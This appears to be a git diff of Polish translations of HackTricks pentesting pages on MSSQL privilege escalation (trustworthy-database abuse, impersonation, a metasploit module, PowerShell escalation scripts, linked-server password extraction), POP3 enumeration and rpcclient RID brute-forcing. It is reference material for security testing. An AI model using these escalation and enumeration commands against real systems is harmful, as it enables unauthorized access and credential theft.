Jeśli **zwykły użytkownik** otrzyma rolę **`db_owner`** nad bazą danych, której właścicielem jest użytkownik admin (takim jak **`sa`**), a ta baza danych jest skonfigurowana jako **`trustworthy`**, ten użytkownik może wykorzystać te uprawnienia do **privesc**, ponieważ wewnątrz bazy danych można tworzyć procedury składowane, które mogą być uruchamiane jako właściciel (**admin**).
|
||||
Jeśli **zwykłemu użytkownikowi** nadano rolę **`db_owner`** nad **bazą danych należącą do użytkownika admina** (takiego jak **`sa`**) i ta baza danych jest skonfigurowana jako **`trustworthy`**, użytkownik ten może nadużyć tych uprawnień do **eskalcji uprawnień**, ponieważ **procedury składowane** utworzone w niej mogą **wykonywać się** jako właściciel (**admin**).
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -816,15 +388,15 @@ Możesz użyć modułu **metasploit**:
|
|||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
Lub skrypt **PS**:
|
||||
lub skrypt **PS**:
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
### Podszywanie się pod innych użytkowników
|
||||
### Podszycie się pod innych użytkowników
|
||||
|
||||
SQL Server posiada specjalne uprawnienie o nazwie **`IMPERSONATE`**, które **pozwala użytkownikowi na przejęcie uprawnień innego użytkownika** lub logowania, dopóki kontekst nie zostanie zresetowany lub sesja nie zostanie zakończona.
|
||||
SQL Server posiada specjalne uprawnienie o nazwie **`IMPERSONATE`**, które **pozwala wykonującemu użytkownikowi przejąć uprawnienia innego użytkownika** lub logowania do momentu zresetowania kontekstu lub zakończenia sesji.
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
@ -840,10 +412,10 @@ SELECT SYSTEM_USER
|
|||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub połączonych serwerów.
|
||||
Jeśli możesz podszyć się pod użytkownika, nawet jeśli nie jest on sysadminem, powinieneś sprawdzić, **czy użytkownik ma dostęp** do innych **baz danych** lub serwerów powiązanych.
|
||||
{% endhint %}
|
||||
|
||||
Należy zauważyć, że po uzyskaniu uprawnień sysadmina można podszyć się pod dowolnego innego użytkownika:
|
||||
Należy zauważyć, że będąc sysadminem, możesz podszyć się pod dowolnego innego użytkownika:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
|
@ -863,34 +435,34 @@ lub za pomocą skryptu **PS**:
|
|||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||
```
|
||||
## Wykorzystanie MSSQL do trwałości
|
||||
## Używanie MSSQL do trwałości
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Wyodrębnianie haseł z połączonych serwerów SQL Server
|
||||
Atakujący może wyodrębnić hasła z połączonych serwerów SQL Server z instancji SQL i uzyskać je w postaci tekstu jawnego, co umożliwia atakującemu uzyskanie haseł, które mogą być wykorzystane do zdobycia większej przewagi na celu.
|
||||
Atakujący może wyodrębnić hasła do połączonych serwerów SQL Server z instancji SQL i uzyskać je w postaci czystego tekstu, co umożliwia atakującemu uzyskanie haseł, które można wykorzystać do zdobycia większej przewagi na celu.
|
||||
Skrypt do wyodrębniania i deszyfrowania haseł przechowywanych dla połączonych serwerów można znaleźć [tutaj](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Aby ten exploit działał, należy spełnić pewne wymagania i dokonać konfiguracji.
|
||||
Przede wszystkim musisz mieć uprawnienia administratora na maszynie lub możliwość zarządzania konfiguracjami serwera SQL.
|
||||
Aby ten exploit działał, konieczne jest spełnienie pewnych wymagań i konfiguracji.
|
||||
Po pierwsze, musisz mieć prawa Administratora na maszynie lub możliwość zarządzania konfiguracjami serwera SQL.
|
||||
|
||||
Po sprawdzeniu uprawnień musisz skonfigurować trzy rzeczy, a mianowicie:
|
||||
Po zweryfikowaniu swoich uprawnień, musisz skonfigurować trzy rzeczy, a mianowicie:
|
||||
1. Włącz protokół TCP/IP na instancjach serwera SQL;
|
||||
2. Dodaj parametr uruchamiania, w tym przypadku zostanie dodana flaga śledzenia, która to flaga to -T7806.
|
||||
3. Włącz zdalne połączenie administracyjne.
|
||||
2. Dodaj parametr uruchomieniowy, w tym przypadku zostanie dodany flaga śledzenia, która to jest -T7806.
|
||||
3. Włącz zdalne połączenie administrowania.
|
||||
|
||||
Aby zautomatyzować te konfiguracje, [ten repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera potrzebne skrypty.
|
||||
Aby zautomatyzować te konfiguracje, [ten repozytorium](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) zawiera niezbędne skrypty.
|
||||
Oprócz posiadania skryptu PowerShell dla każdego kroku konfiguracji, repozytorium zawiera również pełny skrypt, który łączy skrypty konfiguracyjne z wyodrębnianiem i deszyfrowaniem haseł.
|
||||
|
||||
Aby uzyskać dalsze informacje, odnośnie tego ataku, odwołaj się do następujących linków:
|
||||
[Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Aby uzyskać więcej informacji, odwołaj się do następujących linków dotyczących tego ataku:
|
||||
[Rozszyfrowywanie haseł serwera łączeniowego bazy danych MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Rozwiązywanie problemów z dedykowanym połączeniem administratora SQL Servera](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Podwyższanie uprawnień lokalnych
|
||||
## Eskalacja uprawnień lokalnych
|
||||
|
||||
Użytkownik uruchamiający serwer MSSQL będzie miał włączone uprawnienie **SeImpersonatePrivilege.**\
|
||||
Prawdopodobnie będziesz w stanie **podwyższyć uprawnienia do Administratora** korzystając z jednej z tych 2 stron:
|
||||
Użytkownik uruchamiający serwer MSSQL będzie miał włączony token uprawnień **SeImpersonatePrivilege.**\
|
||||
Prawdopodobnie będziesz mógł **eskalować do Administratora** korzystając z jednej z tych 2 stron:
|
||||
|
||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
|
||||
|
@ -913,18 +485,6 @@ Prawdopodobnie będziesz w stanie **podwyższyć uprawnienia do Administratora**
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby szybko je naprawić. Intruder śledzi powierzchnię ataku, wykonuje skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Automatyczne polecenia HackTricks
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -986,10 +546,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Protokół pocztowy (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który służy do pobierania i **odzyskiwania e-maili z zdalnego serwera poczty**, umożliwiając dostęp do nich na urządzeniu lokalnym. Znajdujący się w warstwie aplikacji modelu OSI, ten protokół umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem poczty, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie ich usunięciu z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
**Protokół poczty elektronicznej (POP)** jest opisany jako protokół w dziedzinie sieci komputerowych i Internetu, który służy do pobierania i **odzyskiwania e-maili z zdalnego serwera poczty**, umożliwiając dostęp do nich na urządzeniu lokalnym. Znajdujący się w warstwie aplikacji modelu OSI, ten protokół umożliwia użytkownikom pobieranie i odbieranie e-maili. Działanie **klientów POP** zazwyczaj polega na nawiązaniu połączenia z serwerem poczty, pobraniu wszystkich wiadomości, przechowywaniu tych wiadomości lokalnie na systemie klienta, a następnie ich usunięciu z serwera. Chociaż istnieją trzy wersje tego protokołu, **POP3** wyróżnia się jako najczęściej stosowana wersja.
|
||||
|
||||
**Domyślne porty:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -38,11 +38,11 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
|
|||
```
|
||||
Plugin `pop3-ntlm-info` zwróci pewne "**wrażliwe**" dane (wersje systemu Windows).
|
||||
|
||||
### [Brute force POP3](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
### [Atak brutalnej siły na POP3](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## Składnia POP
|
||||
|
||||
Przykłady poleceń POP z [tutaj](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
Przykłady poleceń POP znajdują się [tutaj](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
```bash
|
||||
POP commands:
|
||||
USER uid Log in as "uid"
|
||||
|
@ -136,11 +136,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybciej naprawić. Intruder śledzi powierzchnię ataku, przeprowadza proaktywne skanowania zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -1,52 +1,44 @@
|
|||
# Wyliczanie usług rpcclient
|
||||
# Wyliczanie rpcclient
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
### **Co to jest RID**
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje skanowanie zagrożeń, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
### Przegląd Identyfikatorów Względnych (RID) i Identyfikatorów Bezpieczeństwa (SID)
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
**Identyfikatory Względne (RID)** i **Identyfikatory Bezpieczeństwa (SID)** są kluczowymi składnikami systemów operacyjnych Windows do unikatowej identyfikacji i zarządzania obiektami, takimi jak użytkownicy i grupy, w domenie sieciowej.
|
||||
|
||||
***
|
||||
- **SID** służą jako unikatowe identyfikatory domen, zapewniając odróżnialność każdej domeny.
|
||||
- **RID** są dołączane do SID w celu utworzenia unikatowych identyfikatorów dla obiektów w tych domenach. Ta kombinacja pozwala na precyzyjne śledzenie i zarządzanie uprawnieniami obiektów oraz kontrolami dostępu.
|
||||
|
||||
### **Czym jest RID**
|
||||
|
||||
### Przegląd identyfikatorów względnych (RID) i identyfikatorów zabezpieczeń (SID)
|
||||
|
||||
**Identyfikatory względne (RID)** i **Identyfikatory zabezpieczeń (SID)** są kluczowymi składnikami systemów operacyjnych Windows do unikalnego identyfikowania i zarządzania obiektami, takimi jak użytkownicy i grupy, w domenie sieciowej.
|
||||
|
||||
- **SID** służą jako unikalne identyfikatory dla domen, zapewniając rozróżnialność każdej domeny.
|
||||
- **RID** są dołączane do SID w celu utworzenia unikalnych identyfikatorów dla obiektów w tych domenach. Ta kombinacja umożliwia precyzyjne śledzenie i zarządzanie uprawnieniami obiektów oraz kontrolą dostępu.
|
||||
|
||||
Na przykład, użytkownik o nazwie `pepe` może mieć unikalny identyfikator, łączący SID domeny z jego konkretnym RID, reprezentowany zarówno w formacie szesnastkowym (`0x457`), jak i dziesiętnym (`1111`). Wynikiem jest kompletny i unikalny identyfikator dla pepe w domenie: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
Na przykład użytkownik o nazwie `pepe` może mieć unikatowy identyfikator łączący SID domeny z jego konkretnym RID, reprezentowany zarówno w formacie szesnastkowym (`0x457`), jak i dziesiętnym (`1111`). To skutkuje kompletnym i unikatowym identyfikatorem dla pepe w obrębie domeny, np.: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
|
||||
|
||||
|
||||
### **Wyliczanie za pomocą rpcclient**
|
||||
|
||||
Użyteczność **`rpcclient`** z Samba jest wykorzystywana do interakcji z punktami końcowymi **RPC za pomocą nazwanych potoków**. Poniżej przedstawione są polecenia, które można wydać do interfejsów SAMR, LSARPC i LSARPC-DS po ustanowieniu sesji SMB, co często wymaga poświadczeń.
|
||||
Użyteczność narzędzia **`rpcclient`** z Samba polega na interakcji z **punktem końcowym RPC poprzez nazwane potoki**. Poniżej przedstawione są polecenia, które można wydać do interfejsów SAMR, LSARPC i LSARPC-DS po **ustanowieniu sesji SMB**, często wymagającej poświadczeń.
|
||||
|
||||
#### Informacje o serwerze
|
||||
|
||||
* Aby uzyskać **informacje o serwerze**: używa się polecenia `srvinfo`.
|
||||
* Aby uzyskać **Informacje o serwerze**: używane jest polecenie `srvinfo`.
|
||||
|
||||
#### Wyliczanie użytkowników
|
||||
|
||||
* **Użytkownicy mogą być wymienieni** za pomocą poleceń: `querydispinfo` i `enumdomusers`.
|
||||
* **Użytkownicy mogą być wymienieni** za pomocą: `querydispinfo` i `enumdomusers`.
|
||||
* **Szczegóły użytkownika** za pomocą: `queryuser <0xrid>`.
|
||||
* **Grupy użytkownika** za pomocą: `queryusergroups <0xrid>`.
|
||||
* **SID użytkownika jest pobierany** za pomocą: `lookupnames <nazwa_użytkownika>`.
|
||||
* **Aliasy użytkowników** za pomocą: `queryuseraliases [builtin|domain] <sid>`.
|
||||
* **SID użytkownika jest pobierane** poprzez: `lookupnames <nazwa_użytkownika>`.
|
||||
* **Aliasy użytkowników** za pomocą: `queryuseraliases [wbudowane|domena] <sid>`.
|
||||
```bash
|
||||
# Users' RIDs-forced
|
||||
for i in $(seq 500 1100); do
|
||||
|
@ -55,33 +47,33 @@ done
|
|||
|
||||
# samrdump.py can also serve this purpose
|
||||
```
|
||||
#### Wyliczanie grup
|
||||
#### Wyliczanie Grup
|
||||
|
||||
* **Grupy** za pomocą: `enumdomgroups`.
|
||||
* **Szczegóły grupy** za pomocą: `querygroup <0xrid>`.
|
||||
* **Członkowie grupy** za pomocą: `querygroupmem <0xrid>`.
|
||||
* **Członkowie grupy** poprzez: `querygroupmem <0xrid>`.
|
||||
|
||||
#### Wyliczanie grup aliasów
|
||||
#### Wyliczanie Grup Aliasowych
|
||||
|
||||
* **Grupy aliasów** za pomocą: `enumalsgroups <builtin|domain>`.
|
||||
* **Członkowie grupy aliasów** za pomocą: `queryaliasmem builtin|domain <0xrid>`.
|
||||
* **Grupy aliasowe** za pomocą: `enumalsgroups <builtin|domain>`.
|
||||
* **Członkowie grupy aliasowej** za pomocą: `queryaliasmem builtin|domain <0xrid>`.
|
||||
|
||||
#### Wyliczanie domen
|
||||
#### Wyliczanie Domen
|
||||
|
||||
* **Domeny** za pomocą: `enumdomains`.
|
||||
* **SID domeny jest pobierane** za pomocą: `lsaquery`.
|
||||
* **Informacje o domenie są uzyskiwane** za pomocą: `querydominfo`.
|
||||
|
||||
#### Wyliczanie udziałów
|
||||
#### Wyliczanie Zasobów
|
||||
|
||||
* **Wszystkie dostępne udziały** za pomocą: `netshareenumall`.
|
||||
* **Pobranie informacji o konkretnym udziale** za pomocą: `netsharegetinfo <share>`.
|
||||
* **Wszystkie dostępne zasoby** za pomocą: `netshareenumall`.
|
||||
* **Informacje o konkretnym zasobie są pobierane** za pomocą: `netsharegetinfo <share>`.
|
||||
|
||||
#### Dodatkowe operacje z SID
|
||||
#### Dodatkowe Operacje z SID
|
||||
|
||||
* **SID według nazwy** za pomocą: `lookupnames <username>`.
|
||||
* **Więcej SID** za pomocą: `lsaenumsid`.
|
||||
* **Cykliczne sprawdzanie RID w celu sprawdzenia większej liczby SID** za pomocą: `lookupsids <sid>`.
|
||||
* **SIDs według nazwy** za pomocą: `lookupnames <username>`.
|
||||
* **Więcej SIDs** poprzez: `lsaenumsid`.
|
||||
* **Cykliczne sprawdzanie RID w celu sprawdzenia więcej SIDs** jest wykonywane za pomocą: `lookupsids <sid>`.
|
||||
|
||||
#### **Dodatkowe polecenia**
|
||||
|
||||
|
@ -95,29 +87,22 @@ done
|
|||
| createdomuser | Utwórz użytkownika domeny | |
|
||||
| deletedomuser | Usuń użytkownika domeny | |
|
||||
| lookupnames | LSARPC | Wyszukaj nazwy użytkowników do wartości SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
|
||||
| lookupsids | Wyszukaj SID do nazw użytkowników (cykl RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Dodaj uprawnienia do konta użytkownika | |
|
||||
| lsaremoveacctrights | Usuń uprawnienia z konta użytkownika | |
|
||||
| lookupsids | Wyszukaj SIDs do nazw użytkowników (Cykliczne sprawdzanie RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)) | |
|
||||
| lsaaddacctrights | Dodaj prawa do konta użytkownika | |
|
||||
| lsaremoveacctrights | Usuń prawa z konta użytkownika | |
|
||||
| dsroledominfo | LSARPC-DS | Uzyskaj informacje o głównej domenie |
|
||||
| dsenumdomtrusts | Wylicz zaufane domeny w obrębie lasu AD | |
|
||||
|
||||
Aby **lepiej zrozumieć**, jak działają narzędzia _**samrdump**_ **i** _**rpcdump**_, przeczytaj [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź najważniejsze podatności, aby móc je szybko naprawić. Intruder śledzi powierzchnię ataku, wykonuje skanowanie zagrożeń proaktywnych, znajduje problemy w całym stosie technologicznym, od interfejsów API po aplikacje internetowe i systemy chmurowe. [**Wypróbuj go za darmo**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) już dziś.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
Aby **lepiej zrozumieć** jak działają narzędzia _**samrdump**_ **i** _**rpcdump**_ powinieneś przeczytać [**Pentesting MSRPC**](../135-pentesting-msrpc.md).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Pracujesz w **firmie cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? A może chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Czy pracujesz w **firmie cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium [hacktricks](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do [repozytorium hacktricks](https://github.com/carlospolop/hacktricks) i [repozytorium hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
